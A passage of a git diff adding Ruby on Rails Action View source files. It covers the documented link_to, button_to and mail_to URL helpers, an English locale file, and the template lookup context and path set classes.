+ # link_to(url, html_options = {}) do
+ # # name
+ # end
+ #
+ # ==== Options
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>method: symbol of HTTP verb</tt> - This modifier will dynamically
+ # create an HTML form and immediately submit the form for processing using
+ # the HTTP verb specified. Useful for having links perform a POST operation
+ # in dangerous actions like deleting a record (which search bots can follow
+ # while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
+ # Note that if the user has JavaScript disabled, the request will fall back
+ # to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
+ # disabled clicking the link will have no effect. If you are relying on the
+ # POST behavior, you should check for it in your controller's action by using
+ # the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>:patch</tt>, or <tt>put?</tt>.
+ # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
+ # driver to make an Ajax request to the URL in question instead of following
+ # the link. The drivers each provide mechanisms for listening for the
+ # completion of the Ajax request and performing JavaScript operations once
+ # they're complete
+ #
+ # ==== Data attributes
+ #
+ # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
+ # driver to prompt with the question specified. If the user accepts, the link is
+ # processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be
+ # used as the value for a disabled version of the submit
+ # button when the form is submitted. This feature is provided
+ # by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
+ # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
+ # your application on resources and use
+ #
+ # link_to "Profile", profile_path(@profile)
+ # # => <a href="/profiles/1">Profile</a>
+ #
+ # or the even pithier
+ #
+ # link_to "Profile", @profile
+ # # => <a href="/profiles/1">Profile</a>
+ #
+ # in place of the older more verbose, non-resource-oriented
+ #
+ # link_to "Profile", controller: "profiles", action: "show", id: @profile
+ # # => <a href="/profiles/show/1">Profile</a>
+ #
+ # Similarly,
+ #
+ # link_to "Profiles", profiles_path
+ # # => <a href="/profiles">Profiles</a>
+ #
+ # is better than
+ #
+ # link_to "Profiles", controller: "profiles"
+ # # => <a href="/profiles">Profiles</a>
+ #
+ # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+ #
+ # <%= link_to(@profile) do %>
+ # <strong><%= @profile.name %></strong> -- <span>Check it out!</span>
+ # <% end %>
+ # # => <a href="/profiles/1">
+ # <strong>David</strong> -- <span>Check it out!</span>
+ # </a>
+ #
+ # Classes and ids for CSS are easy to produce:
+ #
+ # link_to "Articles", articles_path, id: "news", class: "article"
+ # # => <a href="/articles" class="article" id="news">Articles</a>
+ #
+ # Be careful when using the older argument style, as an extra literal hash is needed:
+ #
+ # link_to "Articles", { controller: "articles" }, id: "news", class: "article"
+ # # => <a href="/articles" class="article" id="news">Articles</a>
+ #
+ # Leaving the hash off gives the wrong link:
+ #
+ # link_to "WRONG!", controller: "articles", id: "news", class: "article"
+ # # => <a href="/articles/index/news?class=article">WRONG!</a>
+ #
+ # +link_to+ can also produce links with anchors or query strings:
+ #
+ # link_to "Comment wall", profile_path(@profile, anchor: "wall")
+ # # => <a href="/profiles/1#wall">Comment wall</a>
+ #
+ # link_to "Ruby on Rails search", controller: "searches", query: "ruby on rails"
+ # # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
+ #
+ # link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
+ # # => <a href="/searches?foo=bar&baz=quux">Nonsense search</a>
+ #
+ # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
+ #
+ # link_to("Destroy", "http://www.example.com", method: :delete)
+ # # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
+ #
+ # You can also use custom data attributes using the <tt>:data</tt> option:
+ #
+ # link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
+ # # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a>
+ def link_to(name = nil, options = nil, html_options = nil, &block)
+ html_options, options = options, name if block_given?
+ options ||= {}
+
+ html_options = convert_options_to_data_attributes(options, html_options)
+
+ url = url_for(options)
+ html_options['href'] ||= url
+
+ content_tag(:a, name || url, html_options, &block)
+ end
+
+ # Generates a form containing a single button that submits to the URL created
+ # by the set of +options+. This is the safest method to ensure links that
+ # cause changes to your data are not triggered by search bots or accelerators.
+ # If the HTML button does not work with your layout, you can also consider
+ # using the +link_to+ method with the <tt>:method</tt> modifier as described in
+ # the +link_to+ documentation.
+ #
+ # By default, the generated form element has a class name of <tt>button_to</tt>
+ # to allow styling of the form itself and its children. This can be changed
+ # using the <tt>:form_class</tt> modifier within +html_options+. You can control
+ # the form submission and input element behavior using +html_options+.
+ # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
+ # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
+ # You can also disable the button by passing <tt>disabled: true</tt> in +html_options+.
+ # If you are using RESTful routes, you can pass the <tt>:method</tt>
+ # to change the HTTP verb used to submit the form.
+ #
+ # ==== Options
+ # The +options+ hash accepts the same options as +url_for+.
+ #
+ # There are a few special +html_options+:
+ # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
+ # <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
+ # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
+ # * <tt>:data</tt> - This option can be used to add custom data attributes.
+ # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the
+ # submit behavior. By default this behavior is an ajax submit.
+ # * <tt>:form</tt> - This hash will be form attributes
+ # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
+ # be placed
+ #
+ # ==== Data attributes
+ #
+ # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
+ # prompt with the question specified. If the user accepts, the link is
+ # processed normally, otherwise no action is taken.
+ # * <tt>:disable_with</tt> - Value of this parameter will be
+ # used as the value for a disabled version of the submit
+ # button when the form is submitted. This feature is provided
+ # by the unobtrusive JavaScript driver.
+ #
+ # ==== Examples
+ # <%= button_to "New", action: "new" %>
+ # # => "<form method="post" action="/controller/new" class="button_to">
+ # # <div><input value="New" type="submit" /></div>
+ # # </form>"
+ #
+ # <%= button_to [:make_happy, @user] do %>
+ # Make happy <strong><%= @user.name %></strong>
+ # <% end %>
+ # # => "<form method="post" action="/users/1/make_happy" class="button_to">
+ # # <div>
+ # # <button type="submit">
+ # # Make happy <strong><%= @user.name %></strong>
+ # # </button>
+ # # </div>
+ # # </form>"
+ #
+ # <%= button_to "New", { action: "new" }, form_class: "new-thing" %>
+ # # => "<form method="post" action="/controller/new" class="new-thing">
+ # # <div><input value="New" type="submit" /></div>
+ # # </form>"
+ #
+ #
+ # <%= button_to "Create", { action: "create" }, remote: true, form: { "data-type" => "json" } %>
+ # # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
+ # # <div>
+ # # <input value="Create" type="submit" />
+ # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+ # # </div>
+ # # </form>"
+ #
+ #
+ # <%= button_to "Delete Image", { action: "delete", id: @image.id },
+ # method: :delete, data: { confirm: "Are you sure?" } %>
+ # # => "<form method="post" action="/images/delete/1" class="button_to">
+ # # <div>
+ # # <input type="hidden" name="_method" value="delete" />
+ # # <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
+ # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+ # # </div>
+ # # </form>"
+ #
+ #
+ # <%= button_to('Destroy', 'http://www.example.com',
+ # method: "delete", remote: true, data: { confirm: 'Are you sure?', disable_with: 'loading...' }) %>
+ # # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
+ # # <div>
+ # # <input name='_method' value='delete' type='hidden' />
+ # # <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
+ # # <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+ # # </div>
+ # # </form>"
+ # #
+ def button_to(name = nil, options = nil, html_options = nil, &block)
+ html_options, options = options, name if block_given?
+ options ||= {}
+ html_options ||= {}
+
+ html_options = html_options.stringify_keys
+ convert_boolean_attributes!(html_options, %w(disabled))
+
+ url = options.is_a?(String) ? options : url_for(options)
+ remote = html_options.delete('remote')
+
+ method = html_options.delete('method').to_s
+ method_tag = %w{patch put delete}.include?(method) ? method_tag(method) : ''.html_safe
+
+ form_method = method == 'get' ? 'get' : 'post'
+ form_options = html_options.delete('form') || {}
+ form_options[:class] ||= html_options.delete('form_class') || 'button_to'
+ form_options.merge!(method: form_method, action: url)
+ form_options.merge!("data-remote" => "true") if remote
+
+ request_token_tag = form_method == 'post' ? token_tag : ''
+
+ html_options = convert_options_to_data_attributes(options, html_options)
+ html_options['type'] = 'submit'
+
+ button = if block_given?
+ content_tag('button', html_options, &block)
+ else
+ html_options['value'] = name || url
+ tag('input', html_options)
+ end
+
+ inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
+ content_tag('form', content_tag('div', inner_tags), form_options)
+ end
+
+ # Creates a link tag of the given +name+ using a URL created by the set of
+ # +options+ unless the current request URI is the same as the links, in
+ # which case only the name is returned (or the given block is yielded, if
+ # one exists). You can give +link_to_unless_current+ a block which will
+ # specialize the default behavior (e.g., show a "Start Here" link rather
+ # than the link's text).
+ #
+ # ==== Examples
+ # Let's say you have a navigation menu...
+ #
+ # <ul id="navbar">
+ # <li><%= link_to_unless_current("Home", { action: "index" }) %></li>
+ # <li><%= link_to_unless_current("About Us", { action: "about" }) %></li>
+ # </ul>
+ #
+ # If in the "about" action, it will render...
+ #
+ # <ul id="navbar">
+ # <li><a href="/controller/index">Home</a></li>
+ # <li>About Us</li>
+ # </ul>
+ #
+ # ...but if in the "index" action, it will render:
+ #
+ # <ul id="navbar">
+ # <li>Home</li>
+ # <li><a href="/controller/about">About Us</a></li>
+ # </ul>
+ #
+ # The implicit block given to +link_to_unless_current+ is evaluated if the current
+ # action is the action given. So, if we had a comments page and wanted to render a
+ # "Go Back" link instead of a link to the comments page, we could do something like this...
+ #
+ # <%=
+ # link_to_unless_current("Comment", { controller: "comments", action: "new" }) do
+ # link_to("Go back", { controller: "posts", action: "index" })
+ # end
+ # %>
+ def link_to_unless_current(name, options = {}, html_options = {}, &block)
+ link_to_unless current_page?(options), name, options, html_options, &block
+ end
+
+ # Creates a link tag of the given +name+ using a URL created by the set of
+ # +options+ unless +condition+ is true, in which case only the name is
+ # returned. To specialize the default behavior (i.e., show a login link rather
+ # than just the plaintext link text), you can pass a block that
+ # accepts the name or the full argument list for +link_to_unless+.
+ #
+ # ==== Examples
+ # <%= link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) %>
+ # # If the user is logged in...
+ # # => <a href="/controller/reply/">Reply</a>
+ #
+ # <%=
+ # link_to_unless(@current_user.nil?, "Reply", { action: "reply" }) do |name|
+ # link_to(name, { controller: "accounts", action: "signup" })
+ # end
+ # %>
+ # # If the user is logged in...
+ # # => <a href="/controller/reply/">Reply</a>
+ # # If not...
+ # # => <a href="/accounts/signup">Reply</a>
+ def link_to_unless(condition, name, options = {}, html_options = {}, &block)
+ if condition
+ if block_given?
+ block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
+ else
+ name
+ end
+ else
+ link_to(name, options, html_options)
+ end
+ end
+
+ # Creates a link tag of the given +name+ using a URL created by the set of
+ # +options+ if +condition+ is true, otherwise only the name is
+ # returned. To specialize the default behavior, you can pass a block that
+ # accepts the name or the full argument list for +link_to_unless+ (see the examples
+ # in +link_to_unless+).
+ #
+ # ==== Examples
+ # <%= link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) %>
+ # # If the user isn't logged in...
+ # # => <a href="/sessions/new/">Login</a>
+ #
+ # <%=
+ # link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) do
+ # link_to(@current_user.login, { controller: "accounts", action: "show", id: @current_user })
+ # end
+ # %>
+ # # If the user isn't logged in...
+ # # => <a href="/sessions/new/">Login</a>
+ # # If they are logged in...
+ # # => <a href="/accounts/show/3">my_username</a>
+ def link_to_if(condition, name, options = {}, html_options = {}, &block)
+ link_to_unless !condition, name, options, html_options, &block
+ end
+
+ # Creates a mailto link tag to the specified +email_address+, which is
+ # also used as the name of the link unless +name+ is specified. Additional
+ # HTML attributes for the link can be passed in +html_options+.
+ #
+ # +mail_to+ has several methods for customizing the email itself by
+ # passing special keys to +html_options+.
+ #
+ # ==== Options
+ # * <tt>:subject</tt> - Preset the subject line of the email.
+ # * <tt>:body</tt> - Preset the body of the email.
+ # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
+ # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
+ #
+ # ==== Obfuscation
+ # Prior to Rails 4.0, +mail_to+ provided options for encoding the address
+ # in order to hinder email harvesters. To take advantage of these options,
+ # install the +actionview-encoded_mail_to+ gem.
+ #
+ # ==== Examples
+ # mail_to "me at domain.com"
+ # # => <a href="mailto:me at domain.com">me at domain.com</a>
+ #
+ # mail_to "me at domain.com", "My email"
+ # # => <a href="mailto:me at domain.com">My email</a>
+ #
+ # mail_to "me at domain.com", "My email", cc: "ccaddress at domain.com",
+ # subject: "This is an example email"
+ # # => <a href="mailto:me at domain.com?cc=ccaddress at domain.com&subject=This%20is%20an%20example%20email">My email</a>
+ #
+ # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
+ #
+ # <%= mail_to "me at domain.com" do %>
+ # <strong>Email me:</strong> <span>me at domain.com</span>
+ # <% end %>
+ # # => <a href="mailto:me at domain.com">
+ # <strong>Email me:</strong> <span>me at domain.com</span>
+ # </a>
+ def mail_to(email_address, name = nil, html_options = {}, &block)
+ email_address = ERB::Util.html_escape(email_address)
+
+ html_options, name = name, nil if block_given?
+ html_options = (html_options || {}).stringify_keys
+
+ extras = %w{ cc bcc body subject }.map { |item|
+ option = html_options.delete(item) || next
+ "#{item}=#{Rack::Utils.escape_path(option)}"
+ }.compact
+ extras = extras.empty? ? '' : '?' + ERB::Util.html_escape(extras.join('&'))
+
+ html_options["href"] = "mailto:#{email_address}#{extras}".html_safe
+
+ content_tag(:a, name || email_address.html_safe, html_options, &block)
+ end
+
+ # True if the current request URI was generated by the given +options+.
+ #
+ # ==== Examples
+ # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc</tt> action.
+ #
+ # current_page?(action: 'process')
+ # # => false
+ #
+ # current_page?(controller: 'shop', action: 'checkout')
+ # # => true
+ #
+ # current_page?(controller: 'shop', action: 'checkout', order: 'asc')
+ # # => false
+ #
+ # current_page?(action: 'checkout')
+ # # => true
+ #
+ # current_page?(controller: 'library', action: 'checkout')
+ # # => false
+ #
+ # current_page?('http://www.example.com/shop/checkout')
+ # # => true
+ #
+ # current_page?('/shop/checkout')
+ # # => true
+ #
+ # Let's say we're in the <tt>http://www.example.com/shop/checkout?order=desc&page=1</tt> action.
+ #
+ # current_page?(action: 'process')
+ # # => false
+ #
+ # current_page?(controller: 'shop', action: 'checkout')
+ # # => true
+ #
+ # current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '1')
+ # # => true
+ #
+ # current_page?(controller: 'shop', action: 'checkout', order: 'desc', page: '2')
+ # # => false
+ #
+ # current_page?(controller: 'shop', action: 'checkout', order: 'desc')
+ # # => false
+ #
+ # current_page?(action: 'checkout')
+ # # => true
+ #
+ # current_page?(controller: 'library', action: 'checkout')
+ # # => false
+ #
+ # Let's say we're in the <tt>http://www.example.com/products</tt> action with method POST in case of invalid product.
+ #
+ # current_page?(controller: 'product', action: 'index')
+ # # => false
+ #
+ def current_page?(options)
+ unless request
+ raise "You cannot use helpers that need to determine the current " \
+ "page unless your view context provides a Request object " \
+ "in a #request method"
+ end
+
+ return false unless request.get? || request.head?
+
+ url_string = url_for(options)
+
+ # We ignore any extra parameters in the request_uri if the
+ # submitted url doesn't have any either. This lets the function
+ # work with things like ?order=asc
+ request_uri = url_string.index("?") ? request.fullpath : request.path
+
+ if url_string =~ /^\w+:\/\//
+ url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
+ else
+ url_string == request_uri
+ end
+ end
+
+ private
+ def convert_options_to_data_attributes(options, html_options)
+ if html_options
+ html_options = html_options.stringify_keys
+ html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options)
+
+ disable_with = html_options.delete("disable_with")
+ confirm = html_options.delete('confirm')
+ method = html_options.delete('method')
+
+ if confirm
+ message = ":confirm option is deprecated and will be removed from Rails 4.1. " \
+ "Use 'data: { confirm: \'Text\' }' instead."
+ ActiveSupport::Deprecation.warn message
+
+ html_options["data-confirm"] = confirm
+ end
+
+ add_method_to_attributes!(html_options, method) if method
+
+ if disable_with
+ message = ":disable_with option is deprecated and will be removed from Rails 4.1. " \
+ "Use 'data: { disable_with: \'Text\' }' instead."
+ ActiveSupport::Deprecation.warn message
+
+ html_options["data-disable-with"] = disable_with
+ end
+
+ html_options
+ else
+ link_to_remote_options?(options) ? {'data-remote' => 'true'} : {}
+ end
+ end
+
+ def link_to_remote_options?(options)
+ if options.is_a?(Hash)
+ options.delete('remote') || options.delete(:remote)
+ end
+ end
+
+ def add_method_to_attributes!(html_options, method)
+ if method && method.to_s.downcase != "get" && html_options["rel"] !~ /nofollow/
+ html_options["rel"] = "#{html_options["rel"]} nofollow".lstrip
+ end
+ html_options["data-method"] = method
+ end
+
+ # Processes the +html_options+ hash, converting the boolean
+ # attributes from true/false form into the form required by
+ # HTML/XHTML. (An attribute is considered to be boolean if
+ # its name is listed in the given +bool_attrs+ array.)
+ #
+ # More specifically, for each boolean attribute in +html_options+
+ # given as:
+ #
+ # "attr" => bool_value
+ #
+ # if the associated +bool_value+ evaluates to true, it is
+ # replaced with the attribute's name; otherwise the attribute is
+ # removed from the +html_options+ hash. (See the XHTML 1.0 spec,
+ # section 4.5 "Attribute Minimization" for more:
+ # http://www.w3.org/TR/xhtml1/#h-4.5)
+ #
+ # Returns the updated +html_options+ hash, which is also modified
+ # in place.
+ #
+ # Example:
+ #
+ # convert_boolean_attributes!( html_options,
+ # %w( checked disabled readonly ) )
+ def convert_boolean_attributes!(html_options, bool_attrs)
+ bool_attrs.each { |x| html_options[x] = x if html_options.delete(x) }
+ html_options
+ end
+
+ def token_tag(token=nil)
+ if token != false && protect_against_forgery?
+ token ||= form_authenticity_token
+ tag(:input, type: "hidden", name: request_forgery_protection_token.to_s, value: token)
+ else
+ ''
+ end
+ end
+
+ def method_tag(method)
+ tag('input', type: 'hidden', name: '_method', value: method.to_s)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/locale/en.yml b/actionpack/lib/action_view/locale/en.yml
new file mode 100644
index 0000000..8a56f14
--- /dev/null
+++ b/actionpack/lib/action_view/locale/en.yml
@@ -0,0 +1,56 @@
+"en":
+ # Used in distance_of_time_in_words(), distance_of_time_in_words_to_now(), time_ago_in_words()
+ datetime:
+ distance_in_words:
+ half_a_minute: "half a minute"
+ less_than_x_seconds:
+ one: "less than 1 second"
+ other: "less than %{count} seconds"
+ x_seconds:
+ one: "1 second"
+ other: "%{count} seconds"
+ less_than_x_minutes:
+ one: "less than a minute"
+ other: "less than %{count} minutes"
+ x_minutes:
+ one: "1 minute"
+ other: "%{count} minutes"
+ about_x_hours:
+ one: "about 1 hour"
+ other: "about %{count} hours"
+ x_days:
+ one: "1 day"
+ other: "%{count} days"
+ about_x_months:
+ one: "about 1 month"
+ other: "about %{count} months"
+ x_months:
+ one: "1 month"
+ other: "%{count} months"
+ about_x_years:
+ one: "about 1 year"
+ other: "about %{count} years"
+ over_x_years:
+ one: "over 1 year"
+ other: "over %{count} years"
+ almost_x_years:
+ one: "almost 1 year"
+ other: "almost %{count} years"
+ prompts:
+ year: "Year"
+ month: "Month"
+ day: "Day"
+ hour: "Hour"
+ minute: "Minute"
+ second: "Seconds"
+
+ helpers:
+ select:
+ # Default value for :prompt => true in FormOptionsHelper
+ prompt: "Please select"
+
+ # Default translation keys for submit and button FormHelper
+ submit:
+ create: 'Create %{model}'
+ update: 'Update %{model}'
+ submit: 'Save %{model}'
diff --git a/actionpack/lib/action_view/log_subscriber.rb b/actionpack/lib/action_view/log_subscriber.rb
new file mode 100644
index 0000000..fd9a543
--- /dev/null
+++ b/actionpack/lib/action_view/log_subscriber.rb
@@ -0,0 +1,30 @@
+module ActionView
+ # = Action View Log Subscriber
+ #
+ # Provides functionality so that Rails can output logs from Action View.
+ class LogSubscriber < ActiveSupport::LogSubscriber
+ VIEWS_PATTERN = /^app\/views\//.freeze
+
+ def render_template(event)
+ return unless logger.info?
+ message = " Rendered #{from_rails_root(event.payload[:identifier])}"
+ message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+ message << " (#{event.duration.round(1)}ms)"
+ info(message)
+ end
+ alias :render_partial :render_template
+ alias :render_collection :render_template
+
+ def logger
+ ActionView::Base.logger
+ end
+
+ protected
+
+ def from_rails_root(string)
+ string.sub("#{Rails.root}/", "").sub(VIEWS_PATTERN, "")
+ end
+ end
+end
+
+ActionView::LogSubscriber.attach_to :action_view
diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb
new file mode 100644
index 0000000..d61cc0f
--- /dev/null
+++ b/actionpack/lib/action_view/lookup_context.rb
@@ -0,0 +1,240 @@
+require 'thread_safe'
+require 'active_support/core_ext/module/remove_method'
+
+module ActionView
+ # = Action View Lookup Context
+ #
+ # LookupContext is the object responsible to hold all information required to lookup
+ # templates, i.e. view paths and details. The LookupContext is also responsible to
+ # generate a key, given to view paths, used in the resolver cache lookup. Since
+ # this key is generated just once during the request, it speeds up all cache accesses.
+ class LookupContext #:nodoc:
+ attr_accessor :prefixes, :rendered_format
+
+ mattr_accessor :fallbacks
+ @@fallbacks = FallbackFileSystemResolver.instances
+
+ mattr_accessor :registered_details
+ self.registered_details = []
+
+ def self.register_detail(name, options = {}, &block)
+ self.registered_details << name
+ initialize = registered_details.map { |n| "@details[:#{n}] = details[:#{n}] || default_#{n}" }
+
+ Accessors.send :define_method, :"default_#{name}", &block
+ Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1
+ def #{name}
+ @details.fetch(:#{name}, [])
+ end
+
+ def #{name}=(value)
+ value = value.present? ? Array(value) : default_#{name}
+ _set_detail(:#{name}, value) if value != @details[:#{name}]
+ end
+
+ remove_possible_method :initialize_details
+ def initialize_details(details)
+ #{initialize.join("\n")}
+ end
+ METHOD
+ end
+
+ # Holds accessors for the registered details.
+ module Accessors #:nodoc:
+ end
+
+ register_detail(:locale) do
+ locales = [I18n.locale]
+ locales.concat(I18n.fallbacks[I18n.locale]) if I18n.respond_to? :fallbacks
+ locales << I18n.default_locale
+ locales.uniq!
+ locales
+ end
+ register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css, :xml, :json] }
+ register_detail(:handlers){ Template::Handlers.extensions }
+
+ class DetailsKey #:nodoc:
+ alias :eql? :equal?
+ alias :object_hash :hash
+
+ attr_reader :hash
+ @details_keys = ThreadSafe::Cache.new
+
+ def self.get(details)
+ @details_keys[details] ||= new
+ end
+
+ def self.clear
+ @details_keys.clear
+ end
+
+ def initialize
+ @hash = object_hash
+ end
+ end
+
+ # Add caching behavior on top of Details.
+ module DetailsCache
+ attr_accessor :cache
+
+ # Calculate the details key. Remove the handlers from calculation to improve performance
+ # since the user cannot modify it explicitly.
+ def details_key #:nodoc:
+ @details_key ||= DetailsKey.get(@details) if @cache
+ end
+
+ # Temporary skip passing the details_key forward.
+ def disable_cache
+ old_value, @cache = @cache, false
+ yield
+ ensure
+ @cache = old_value
+ end
+
+ protected
+
+ def _set_detail(key, value)
+ @details = @details.dup if @details_key
+ @details_key = nil
+ @details[key] = value
+ end
+ end
+
+ # Helpers related to template lookup using the lookup context information.
+ module ViewPaths
+ attr_reader :view_paths, :html_fallback_for_js
+
+ # Whenever setting view paths, makes a copy so we can manipulate then in
+ # instance objects as we wish.
+ def view_paths=(paths)
+ @view_paths = ActionView::PathSet.new(Array(paths))
+ end
+
+ def find(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options))
+ end
+ alias :find_template :find
+
+ def find_all(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options))
+ end
+
+ def exists?(name, prefixes = [], partial = false, keys = [], options = {})
+ @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options))
+ end
+ alias :template_exists? :exists?
+
+ # Add fallbacks to the view paths. Useful in cases you are rendering a :file.
+ def with_fallbacks
+ added_resolvers = 0
+ self.class.fallbacks.each do |resolver|
+ next if view_paths.include?(resolver)
+ view_paths.push(resolver)
+ added_resolvers += 1
+ end
+ yield
+ ensure
+ added_resolvers.times { view_paths.pop }
+ end
+
+ protected
+
+ def args_for_lookup(name, prefixes, partial, keys, details_options) #:nodoc:
+ name, prefixes = normalize_name(name, prefixes)
+ details, details_key = detail_args_for(details_options)
+ [name, prefixes, partial || false, details, details_key, keys]
+ end
+
+ # Compute details hash and key according to user options (e.g. passed from #render).
+ def detail_args_for(options)
+ return @details, details_key if options.empty? # most common path.
+ user_details = @details.merge(options)
+ [user_details, DetailsKey.get(user_details)]
+ end
+
+ # Support legacy foo.erb names even though we now ignore .erb
+ # as well as incorrectly putting part of the path in the template
+ # name instead of the prefix.
+ def normalize_name(name, prefixes) #:nodoc:
+ prefixes = prefixes.presence
+ parts = name.to_s.split('/')
+ parts.shift if parts.first.empty?
+ name = parts.pop
+
+ return name, prefixes || [""] if parts.empty?
+
+ parts = parts.join('/')
+ prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts]
+
+ return name, prefixes
+ end
+ end
+
+ include Accessors
+ include DetailsCache
+ include ViewPaths
+
+ def initialize(view_paths, details = {}, prefixes = [])
+ @details, @details_key = {}, nil
+ @skip_default_locale = false
+ @cache = true
+ @prefixes = prefixes
+ @rendered_format = nil
+
+ self.view_paths = view_paths
+ initialize_details(details)
+ end
+
+ # Override formats= to expand ["*/*"] values and automatically
+ # add :html as fallback to :js.
+ def formats=(values)
+ if values
+ values.concat(default_formats) if values.delete "*/*"
+ if values == [:js]
+ values << :html
+ @html_fallback_for_js = true
+ end
+ end
+ super(values)
+ end
+
+ # Do not use the default locale on template lookup.
+ def skip_default_locale!
+ @skip_default_locale = true
+ self.locale = nil
+ end
+
+ # Override locale to return a symbol instead of array.
+ def locale
+ @details[:locale].first
+ end
+
+ # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
+ # to original_config, it means that it's has a copy of the original I18n configuration and it's
+ # acting as proxy, which we need to skip.
+ def locale=(value)
+ if value
+ config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
+ config.locale = value
+ end
+
+ super(@skip_default_locale ? I18n.locale : default_locale)
+ end
+
+ # A method which only uses the first format in the formats array for layout lookup.
+ def with_layout_format
+ if formats.size == 1
+ yield
+ else
+ old_formats = formats
+ _set_detail(:formats, formats[0,1])
+
+ begin
+ yield
+ ensure
+ _set_detail(:formats, old_formats)
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/model_naming.rb b/actionpack/lib/action_view/model_naming.rb
new file mode 100644
index 0000000..e09ebd6
--- /dev/null
+++ b/actionpack/lib/action_view/model_naming.rb
@@ -0,0 +1,12 @@
+module ActionView
+ module ModelNaming
+ # Converts the given object to an ActiveModel compliant one.
+ def convert_to_model(object)
+ object.respond_to?(:to_model) ? object.to_model : object
+ end
+
+ def model_name_from_record_or_class(record_or_class)
+ (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
+ end
+ end
+end
diff --git a/actionpack/lib/action_view/path_set.rb b/actionpack/lib/action_view/path_set.rb
new file mode 100644
index 0000000..91ee2ea
--- /dev/null
+++ b/actionpack/lib/action_view/path_set.rb
@@ -0,0 +1,77 @@
+module ActionView #:nodoc:
+ # = Action View PathSet
+ #
+ # This class is used to store and access paths in Action View. A number of
+ # operations are defined so that you can search among the paths in this
+ # set and also perform operations on other +PathSet+ objects.
+ #
+ # A +LookupContext+ will use a +PathSet+ to store the paths in its context.
+ class PathSet #:nodoc:
+ include Enumerable
+
+ attr_reader :paths
+
+ delegate :[], :include?, :pop, :size, :each, to: :paths
+
+ def initialize(paths = [])
+ @paths = typecast paths
+ end
+
+ def initialize_copy(other)
+ @paths = other.paths.dup
+ self
+ end
+
+ def to_ary
+ paths.dup
+ end
+
+ def compact
+ PathSet.new paths.compact
+ end
+
+ def +(array)
+ PathSet.new(paths + array)
+ end
+
+ %w(<< concat push insert unshift).each do |method|
+ class_eval <<-METHOD, __FILE__, __LINE__ + 1
+ def #{method}(*args)
+ paths.#{method}(*typecast(args))
+ end
+ METHOD
+ end
+
+ def find(*args)
+ find_all(*args).first || raise(MissingTemplate.new(self, *args))
+ end
+
+ def find_all(path, prefixes = [], *args)
+ prefixes = [prefixes] if String === prefixes
+ prefixes.each do |prefix|
+ paths.each do |resolver|
+ templates = resolver.find_all(path, prefix, *args)
+ return templates unless templates.empty?
+ end
+ end
+ []
+ end
+
+ def exists?(path, prefixes, *args)
+ find_all(path, prefixes, *args).any?
+ end
+
+ private
+
+ def typecast(paths)
+ paths.map do |path|
+ case path
+ when Pathname, String
+ OptimizedFileSystemResolver.new path.to_s
+ else
+ path
+ end
+ end
